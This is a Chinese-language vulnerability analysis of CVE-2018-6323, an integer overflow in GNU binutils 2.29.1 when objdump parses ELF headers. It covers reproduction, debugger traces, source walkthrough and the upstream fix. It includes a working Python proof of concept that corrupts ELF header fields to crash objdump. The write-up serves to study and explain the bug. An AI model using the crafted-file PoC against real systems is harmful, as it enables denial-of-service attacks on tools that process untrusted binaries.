[CVE-2018-6323] GNU binutils 2.29.1 Integer Overflow

0x00 漏洞描述

二进制文件描述符（BFD）库（也称为libbfd）中头文件 `elfcode.h` 中的 `elf_object_p()` 函数（binutils-2.29.1 之前）具有无符号整数溢出，溢出的原因是没有使用 `bfd_size_type` 乘法。精心制作的 ELF 文件可能导致拒绝服务攻击。

0x01 漏洞复现

	推荐使用的环境	备注
操作系统	Ubuntu 16.04	体系结构：32 位
调试器	gdb-peda	版本号：7.11.1
漏洞软件	binutils	版本号：2.29.1

系统自带的版本是 2.26.1，我们这里编译安装有漏洞的最后一个版本 2.29.1：

```
$ wget https://ftp.gnu.org/gnu/binutils/binutils-2.29.1.tar.gz
$ tar zxvf binutils-2.29.1.tar.gz
$ cd binutils-2.29.1/
$ ./configure --enable-64-bit-bfd
$ make && sudo make install
$ file /usr/local/bin/objdump
/usr/local/bin/objdump: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so
```

使用 PoC 如下：

```
import os

hello = "#include<stdio.h>\nint main(){printf(\"HelloWorld!\\n\"); return 0;}"
f = open("helloWorld.c", 'w')
f.write(hello)
f.close()

os.system("gcc -c helloWorld.c -o test")

f = open("test", 'rb+')
f.read(0x2c)
f.write("\xff\xff") # 65535
f.read(0x244-0x2c-2)
f.write("\x00\x00\x00\x20") # 536870912
f.close()

os.system("objdump -x test")
```

```
$ python poc.py
objdump: test: File truncated
*** Error in `objdump': free(): invalid pointer: 0x09b99aa8 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x67377)[0xb7e35377]
/lib/i386-linux-gnu/libc.so.6(+0x6d2f7)[0xb7e3b2f7]
/lib/i386-linux-gnu/libc.so.6(+0x6dc31)[0xb7e3bc31]
objdump[0x814feab]
objdump[0x8096c10]
objdump[0x80985fc]
objdump[0x8099257]
objdump[0x8052791]
objdump[0x804c1af]
```

```
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb7de6637]
objdump[0x804c3ca]
======= Memory map: ========
08048000-08245000 r-xp 00000000 08:01 265097     /usr/local/bin/objdump
08245000-08246000 r--p 001fc000 08:01 265097     /usr/local/bin/objdump
08246000-0824b000 rw-p 001fd000 08:01 265097     /usr/local/bin/objdump
0824b000-08250000 rw-p 00000000 00:00 0
09b98000-09bb9000 rw-p 00000000 00:00 0          [heap]
b7a00000-b7a21000 rw-p 00000000 00:00 0
b7a21000-b7b00000 ---p 00000000 00:00 0
b7b99000-b7bb5000 r-xp 00000000 08:01 394789     /lib/i386-linux-gnu/libgcc_s.so.1
b7bb5000-b7bb6000 rw-p 0001b000 08:01 394789     /lib/i386-linux-gnu/libgcc_s.so.1
b7bcd000-b7dcd000 r--p 00000000 08:01 133406     /usr/lib/locale/locale-archive
b7dcd000-b7dce000 rw-p 00000000 00:00 0
b7dce000-b7f7e000 r-xp 00000000 08:01 395148     /lib/i386-linux-gnu/libc-2.23.so
b7f7e000-b7f80000 r--p 001af000 08:01 395148     /lib/i386-linux-gnu/libc-2.23.so
b7f80000-b7f81000 rw-p 001b1000 08:01 395148     /lib/i386-linux-gnu/libc-2.23.so
b7f81000-b7f84000 rw-p 00000000 00:00 0
b7f84000-b7f87000 r-xp 00000000 08:01 395150     /lib/i386-linux-gnu/libdl-2.23.so
b7f87000-b7f88000 r--p 00002000 08:01 395150     /lib/i386-linux-gnu/libdl-2.23.so
b7f88000-b7f89000 rw-p 00003000 08:01 395150     /lib/i386-linux-gnu/libdl-2.23.so
b7f97000-b7f98000 rw-p 00000000 00:00 0
b7f98000-b7f9f000 r--s 00000000 08:01 149142     /usr/lib/i386-linux-gnu/gconv/gconv-modules.cache
b7f9f000-b7fa0000 r--p 002d4000 08:01 133406     /usr/lib/locale/locale-archive
b7fa0000-b7fa1000 rw-p 00000000 00:00 0
b7fa1000-b7fa4000 r--p 00000000 00:00 0          [vvar]
b7fa4000-b7fa6000 r-xp 00000000 00:00 0          [vdso]
b7fa6000-b7fc9000 r-xp 00000000 08:01 395146     /lib/i386-linux-gnu/ld-2.23.so
b7fc9000-b7fca000 r--p 00022000 08:01 395146     /lib/i386-linux-gnu/ld-2.23.so
b7fca000-b7fcb000 rw-p 00023000 08:01 395146     /lib/i386-linux-gnu/ld-2.23.so
bff3a000-bff5b000 rw-p 00000000 00:00 0          [stack]
Aborted (core dumped)
```

需要注意的是如果在 configure 的时候没有使用参数 `--enable-64-bit-bfd`，将会出现下面的结果：

```
$ python poc.py
objdump: test: File format not recognized
```

0x02 漏洞分析

首先要知道什么是 BFD。BFD 是 Binary File Descriptor 的简称，使用它可以在你不了解程序文件格式的情况下，读写 ELF header, program header table, section header table 还有各个 section 等。当然也可以是其他的 BFD 支持的对象文件(比如COFF，a.out等）。对每一个文件格式来说，BFD 都分两个部分：前端和后端。前端给用户提供接口，它管理内存和规范数据结构，也决定了哪个后端被使用和什么时候后端的例程被调用。为了使用 BFD，需要包括 `bfd.h` 并且连接的时候需要和静态库 `libbfd.a` 或者动态库 `libbfd.so` 一起连接。

看一下这个引起崩溃的二进制文件，它作为一个可重定位文件，本来不应该有 program headers，但这里的 Number of program headers 这一项被修改为一个很大的值，已经超过了程序在内存中的范围：

```
$ file test
test: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped
$ readelf -h test | grep program
readelf: Error: Out of memory reading 536870912 program headers
  Start of program headers:          0 (bytes into file)
  Size of program headers:           0 (bytes)
  Number of program headers:         65535 (536870912)
```

objdump 用于显示一个或多个目标文件的各种信息，通常用作反汇编器，但也能显示文件头，符号表，重定向等信息。objdump 的执行流程是这样的：

1. 首先检查命令行参数，通过 switch 语句选择要被显示的信息。
2. 剩下的参数被默认为目标文件，它们通过 `display_bfd()` 函数进行排序。
3. 目标文件的文件类型和体系结构通过 `bfd_check_format()` 函数来确定。如果被成功识别，则 `dump_bfd()` 函数被调用。
4. `dump_bfd()` 依次调用单独的函数来显示相应的信息。

回溯栈调用情况：

```
gdb-peda$ r -x test
gdb-peda$ bt
#0  0xb7fd9ce5 in __kernel_vsyscall ()
#1  0xb7e2eea9 in __GI_raise (sig=0x6) at ../sysdeps/unix/sysv/linux/raise.c:54
#2  0xb7e30407 in __GI_abort () at abort.c:89
#3  0xb7e6a37c in __libc_message (do_abort=0x2,
    fmt=0xb7f62e54 "*** Error in `%s': %s: 0x%s ***\n")
    at ../sysdeps/posix/libc_fatal.c:175
#4  0xb7e702f7 in malloc_printerr (action=<optimized out>,
    str=0xb7f5f943 "free(): invalid pointer", ptr=<optimized out>,
    ar_ptr=0xb7fb5780 <main_arena>) at malloc.c:5006
#5  0xb7e70c31 in _int_free (av=0xb7fb5780 <main_arena>, p=<optimized out>,
    have_lock=0x0) at malloc.c:3867
#6  0x0814feab in objalloc_free (o=0x8250800) at ./objalloc.c:187
#7  0x08096c10 in bfd_hash_table_free (table=0x8250a4c) at hash.c:426
#8  0x080985fc in _bfd_delete_bfd (abfd=abfd@entry=0x8250a08) at opncls.c:125
#9  0x08099257 in bfd_close_all_done (abfd=0x8250a08) at opncls.c:773
#10 0x08052791 in display_file (filename=0xbffff136 "test", target=<optimized out>,
    last_file=0x1) at ./objdump.c:3726
#11 0x0804c1af in main (argc=0x3, argv=0xbfffef04) at ./objdump.c:4015
#12 0xb7e1b637 in __libc_start_main (main=0x804ba50 <main>, argc=0x3, argv=0xbfffef04,
    init=0x8150fd0 <__libc_csu_init>, fini=0x8151030 <__libc_csu_fini>,
    rtld_fini=0xb7fea880 <_dl_fini>, stack_end=0xbfffeefc) at ../csu/libc-start.c:291
#13 0x0804c3ca in _start ()
```

一步一步追踪函数调用：

```
// binutils/objdump.c

int
main (int argc, char **argv)
{
  [...]
  while ((c = getopt_long (argc, argv,
      "pP:ib:m:M:VvCdDlfFaHhrRtTxsSI:j:wE:zgeGW::",
      long_options, (int *) 0))
  != EOF)
    {
      switch (c)
 {
  [...]
 case 'x':
   dump_private_headers = TRUE;
   dump_symtab = TRUE;
   dump_reloc_info = TRUE;
   dump_file_header = TRUE;
   dump_ar_hdrs = TRUE;
   dump_section_headers = TRUE;
   seenflag = TRUE;
   break;
  [...]
 }
    }

  if (formats_info)
    exit_status = display_info ();
  else
    {
      if (optind == argc)
 display_file ("a.out", target, TRUE);
      else
 for (; optind < argc;)
   {
     display_file (argv[optind], target, optind == argc - 1);
```

```
      optind++;
    }
     }

    [...]
}
```

```
// binutils/objdump.c

static void
display_file (char *filename, char *target)
{
  bfd *file;

  [...]
  file = bfd_openr (filename, target);
  [...]
  display_any_bfd (file, 0);

  if (! last_file)
    bfd_close (file);
  else
    bfd_close_all_done (file);
}
```

```
// binutils/objdump.c

static void
display_any_bfd (bfd *file, int level)
{
  /* Decompress sections unless dumping the section contents.  */
  if (!dump_section_contents)
    file->flags |= BFD_DECOMPRESS;

  /* If the file is an archive, process all of its elements.  */
  if (bfd_check_format (file, bfd_archive))
    {
      [...]
    }
  else
    display_object_bfd (file);
}
```

最关键的部分，读取 program headers 的逻辑如下：

```
// binutils/objdump.c

  /* Read in the program headers.  */
  if (i_ehdrp->e_phnum == 0)
    elf_tdata (abfd)->phdr = NULL;
  else
    {
      Elf_Internal_Phdr *i_phdr;
      unsigned int i;

#ifndef BFD64
      if (i_ehdrp->e_phnum > ((bfd_size_type) -1) / sizeof (*i_phdr))
 goto got_wrong_format_error;
#endif
      amt = i_ehdrp->e_phnum * sizeof (*i_phdr);  // <-- 整型溢出点
      elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt);
      if (elf_tdata (abfd)->phdr == NULL)
 goto got_no_match;
      if (bfd_seek (abfd, (file_ptr) i_ehdrp->e_phoff, SEEK_SET) != 0)
 goto got_no_match;
```

```
      i_phdr = elf_tdata (abfd)->phdr;
      for (i = 0; i < i_ehdrp->e_phnum; i++, i_phdr++)
 {
   Elf_External_Phdr x_phdr;

   if (bfd_bread (&x_phdr, sizeof x_phdr, abfd) != sizeof x_phdr)
     goto got_no_match;
   elf_swap_phdr_in (abfd, &x_phdr, i_phdr);
 }
    }
```

因为伪造的数值 `0xffff` 大于 0，进入读取 program headers 的代码。然后在溢出点乘法运算前，eax 为伪造的数值 `0x20000000`：

```
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0x20000000 ('')
EBX: 0x8250a08 --> 0x8250810 ("test")
ECX: 0xd ('\r')
EDX: 0x5f ('_')
ESI: 0x8250ac8 --> 0x464c457f
EDI: 0xd ('\r')
EBP: 0x81ca560 --> 0x81c9429 ("elf32-i386")
ESP: 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add    esi,0x15815)
EIP: 0x80aeba0 (<bfd_elf32_object_p+1856>: imul   eax,eax,0x38)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80aeb90 <bfd_elf32_object_p+1840>: or     DWORD PTR [ebx+0x28],0x800
   0x80aeb97 <bfd_elf32_object_p+1847>: jmp    0x80ae613 <bfd_elf32_object_p+435>
   0x80aeb9c <bfd_elf32_object_p+1852>: lea    esi,[esi+eiz*1+0x0]
=> 0x80aeba0 <bfd_elf32_object_p+1856>: imul   eax,eax,0x38
   0x80aeba3 <bfd_elf32_object_p+1859>: sub    esp,0x4
   0x80aeba6 <bfd_elf32_object_p+1862>: xor    edx,edx
   0x80aeba8 <bfd_elf32_object_p+1864>: push   edx
   0x80aeba9 <bfd_elf32_object_p+1865>: push   eax
[-------------------------------------stack-------------------------------------]
0000| 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add    esi,0x15815)
0004| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f
0008| 0xbfffec28 --> 0xd ('\r')
0012| 0xbfffec2c --> 0x0
0016| 0xbfffec30 --> 0x8250a0c --> 0x81ca560 --> 0x81c9429 ("elf32-i386")
0020| 0xbfffec34 --> 0x82482a0 --> 0x9 ('\t')
0024| 0xbfffec38 --> 0x8250a08 --> 0x8250810 ("test")
0028| 0xbfffec3c --> 0x81ca560 --> 0x81c9429 ("elf32-i386")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
780       elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt);
```

做乘法运算，`0x20000000 * 0x38 = 0x700000000`，产生溢出。截断后高位的 `0x7` 被丢弃， eax 为 `0x00000000`，且 OVERFLOW 的标志位被设置：

```
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x8250a08 --> 0x8250810 ("test")
ECX: 0xd ('\r')
EDX: 0x5f ('_')
ESI: 0x8250ac8 --> 0x464c457f
EDI: 0xd ('\r')
EBP: 0x81ca560 --> 0x81c9429 ("elf32-i386")
ESP: 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add    esi,0x15815)
EIP: 0x80aeba3 (<bfd_elf32_object_p+1859>: sub    esp,0x4)
EFLAGS: 0xa07 (CARRY PARITY adjust zero sign trap INTERRUPT direction OVERFLOW)
[-------------------------------------code-------------------------------------]
   0x80aeb97 <bfd_elf32_object_p+1847>: jmp    0x80ae613 <bfd_elf32_object_p+435>
   0x80aeb9c <bfd_elf32_object_p+1852>: lea    esi,[esi+eiz*1+0x0]
   0x80aeba0 <bfd_elf32_object_p+1856>: imul   eax,eax,0x38
=> 0x80aeba3 <bfd_elf32_object_p+1859>: sub    esp,0x4
```

```
   0x80aeba6 <bfd_elf32_object_p+1862>: xor    edx,edx
   0x80aeba8 <bfd_elf32_object_p+1864>: push   edx
   0x80aeba9 <bfd_elf32_object_p+1865>: push   eax
   0x80aebaa <bfd_elf32_object_p+1866>: push   ebx
[-------------------------------------stack--------------------------------------]
0000| 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add    esi,0x15815)
0004| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f
0008| 0xbfffec28 --> 0xd ('\r')
0012| 0xbfffec2c --> 0x0
0016| 0xbfffec30 --> 0x8250a0c --> 0x81ca560 --> 0x81c9429 ("elf32-i386")
0020| 0xbfffec34 --> 0x82482a0 --> 0x9 ('\t')
0024| 0xbfffec38 --> 0x8250a08 --> 0x8250810 ("test")
0028| 0xbfffec3c --> 0x81ca560 --> 0x81c9429 ("elf32-i386")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080aeba3 780       elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt);
```

于是，在随后的 `bfd_alloc()` 调用时，第二个参数即大小为 0，分配不成功：

```
// bfd/opncls.c

void *bfd_alloc (bfd *abfd, bfd_size_type wanted);
```

```
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x8250a08 --> 0x8250810 ("test")
ECX: 0xd ('\r')
EDX: 0x0
ESI: 0x8250ac8 --> 0x464c457f
EDI: 0xd ('\r')
EBP: 0x81ca560 --> 0x81c9429 ("elf32-i386")
ESP: 0xbfffec10 --> 0x8250a08 --> 0x8250810 ("test")
EIP: 0x80aebab (<bfd_elf32_object_p+1867>: call   0x8099540 <bfd_alloc>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80aeba8 <bfd_elf32_object_p+1864>: push   edx
   0x80aeba9 <bfd_elf32_object_p+1865>: push   eax
   0x80aebaa <bfd_elf32_object_p+1866>: push   ebx
=> 0x80aebab <bfd_elf32_object_p+1867>: call   0x8099540 <bfd_alloc>
   0x80aebb0 <bfd_elf32_object_p+1872>: mov    DWORD PTR [esi+0x50],eax
   0x80aebb3 <bfd_elf32_object_p+1875>: mov    eax,DWORD PTR [ebx+0xa0]
   0x80aebb9 <bfd_elf32_object_p+1881>: add    esp,0x10
   0x80aebbc <bfd_elf32_object_p+1884>: mov    ecx,DWORD PTR [eax+0x50]
Guessed arguments:
arg[0]: 0x8250a08 --> 0x8250810 ("test")
arg[1]: 0x0
arg[2]: 0x0
[-------------------------------------stack--------------------------------------]
0000| 0xbfffec10 --> 0x8250a08 --> 0x8250810 ("test")
0004| 0xbfffec14 --> 0x0
0008| 0xbfffec18 --> 0x0
0012| 0xbfffec1c --> 0x80aea71 (<bfd_elf32_object_p+1553>: mov    eax,DWORD PTR [esi+0x28])
0016| 0xbfffec20 --> 0xb7fe97eb (<_dl_fixup+11>: add    esi,0x15815)
0020| 0xbfffec24 --> 0x8250ac8 --> 0x464c457f
0024| 0xbfffec28 --> 0xd ('\r')
0028| 0xbfffec2c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080aebab 780       elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt);
```

在后续的过程中，从 `bfd_close_all_done()` 到 `objalloc_free()`，用于清理释放内存，其中就对 `bfd_alloc()` 分配的内存区域进行了 `free()` 操作，而这又是一个不存在的地址，于是抛出了异常。

0x03 补丁

该漏洞在 binutils-2.30 中被修复，补丁将 `i_ehdrp->e_shnum` 转换成 unsigned long 类型的 `bfd_size_type`，从而避免整型溢出。BFD 开发文件包含在软件包 `binutils-dev` 中：

```
// /usr/include/bfd.h
typedef unsigned long bfd_size_type;
```

由于存在回绕，一个无符号整数表达式永远无法求出小于零的值，也就不会产生溢出。

所谓回绕，可以看下面这个例子：

```
unsigned int ui;
ui = UINT_MAX;  // 在 32 位上为 4 294 967 295
ui++;
printf("ui = %u\n", ui);  // ui = 0
ui = 0;
ui--;
printf("ui = %u\n", ui);  // 在 32 位上，ui = 4 294 967 295
```

补丁如下：

```
$ git show 38e64b0ecc7f4ee64a02514b8d532782ac057fa2 bfd/elfcode.h
commit 38e64b0ecc7f4ee64a02514b8d532782ac057fa2
Author: Alan Modra <amodra@gmail.com>
Date:   Thu Jan 25 21:47:41 2018 +1030

    PR22746, crash when running 32-bit objdump on corrupted file

    Avoid unsigned int overflow by performing bfd_size_type multiplication.

        PR 22746
        * elfcode.h (elf_object_p): Avoid integer overflow.

diff --git a/bfd/elfcode.h b/bfd/elfcode.h
index 00a9001..ea1388d 100644
--- a/bfd/elfcode.h
+++ b/bfd/elfcode.h
@@ -680,7 +680,7 @@ elf_object_p (bfd *abfd)
       if (i_ehdrp->e_shnum > ((bfd_size_type) -1) / sizeof (*i_shdrp))
        goto got_wrong_format_error;
 #endif
-      amt = sizeof (*i_shdrp) * i_ehdrp->e_shnum;
+      amt = sizeof (*i_shdrp) * (bfd_size_type) i_ehdrp->e_shnum;
       i_shdrp = (Elf_Internal_Shdr *) bfd_alloc (abfd, amt);
       if (!i_shdrp)
        goto got_no_match;
@@ -776,7 +776,7 @@ elf_object_p (bfd *abfd)
       if (i_ehdrp->e_phnum > ((bfd_size_type) -1) / sizeof (*i_phdr))
        goto got_wrong_format_error;
 #endif
-      amt = i_ehdrp->e_phnum * sizeof (*i_phdr);
+      amt = (bfd_size_type) i_ehdrp->e_phnum * sizeof (*i_phdr);
       elf_tdata (abfd)->phdr = (Elf_Internal_Phdr *) bfd_alloc (abfd, amt);
       if (elf_tdata (abfd)->phdr == NULL)
        goto got_no_match;
```

打上补丁之后的 objdump 没有再崩溃：

```
$ objdump -v | head -n 1
GNU objdump (GNU Binutils) 2.30
$ objdump -x test
objdump: test: Memory exhausted
```

0x04 参考资料

- https://www.cvedetails.com/cve/CVE-2018-6323/
- GNU binutils 2.26.1 - Integer Overflow (POC)